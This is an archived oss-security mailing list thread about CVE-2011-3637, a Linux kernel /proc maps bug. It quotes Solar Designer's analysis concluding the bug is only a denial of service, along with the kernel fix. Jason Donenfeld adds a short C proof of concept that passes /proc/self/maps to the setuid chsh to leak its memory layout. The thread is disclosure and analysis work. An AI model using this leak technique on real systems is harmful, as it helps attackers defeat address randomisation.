Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 8 Feb 2012 06:59:48 +0100
From: "Jason A. Donenfeld" <>
Subject: Re: CVE-2011-3637 Linux kernel: proc: fix Oops on
 invalid /proc/<pid>/maps access

Might be slightly offtopic, but this is a possible info leak of maps for a
suid program:

$ cat maps.c
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char **argv)

        int fd = open("/proc/self/maps", O_RDONLY);
        dup2(fd, 0);
        execl("/usr/bin/chsh", "chsh", NULL);
        return 0;

On Mon, Feb 6, 2012 at 05:27, Solar Designer <> wrote:

> Hi,
> I just analyzed this issue a little bit and thought I'd post a followup
> to the thread on oss-security, but to my surprise I could not find the
> issue mentioned in here, even though "nearby" ones (e.g. fixed in RHEL
> at about the same time) were brought to this list.  I guess this has to
> do with differences in CVE assignment - when an issue already has a CVE
> ID, it is less likely to be brought up in here - which I find wrong.
> This shouldn't be just a CVE ID assignment list, but a general Open
> Source security list.  Anyway, to the specific issue:
> says "A missing
> validation flaw was found in the Linux kernel's m_stop() implementation.
> A local, unprivileged user could use this flaw to trigger a denial of
> service. (CVE-2011-3637, Moderate)"  So I wanted to verify whether the
> impact is in fact limited to a DoS.  More links:
> The fix, which I confirmed that it's included in at least OpenVZ's
> linux-2.6.18-274.17.1.el5.028stab097.1, which is what I happen to care
> about at this time:
> -       vma_stop(priv, vma);
> +       if (!IS_ERR(vma))
> +               vma_stop(priv, vma);
> Linus' commit message:
> "When m_start returns an error, the seq_file logic will still call m_stop
> with that error entry, so we'd better make sure that we check it before
> using it as a vma.
> Introduced by commit ec6fd8a4355c ("report errors in /proc/*/*map*
> sanely"), which replaced NULL with various ERR_PTR() cases.
> (On ia64, you happen to get a unaligned fault instead of a page fault,
> since the address used is generally some random error code like -EPERM)"
> The commit referenced above as one that introduced the bug:
> Thus, _assuming_ that the bug was in fact introduced by that commit
> alone, it does appear to me that we have a mere DoS here - the pointer
> being referenced has to be some -Exxx access code and nothing more
> arbitrary.  Good.  (Additionally, the current fix only catches 4095
> possible values, so if the problem were worse, it would be insufficient.)
> Alexander

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.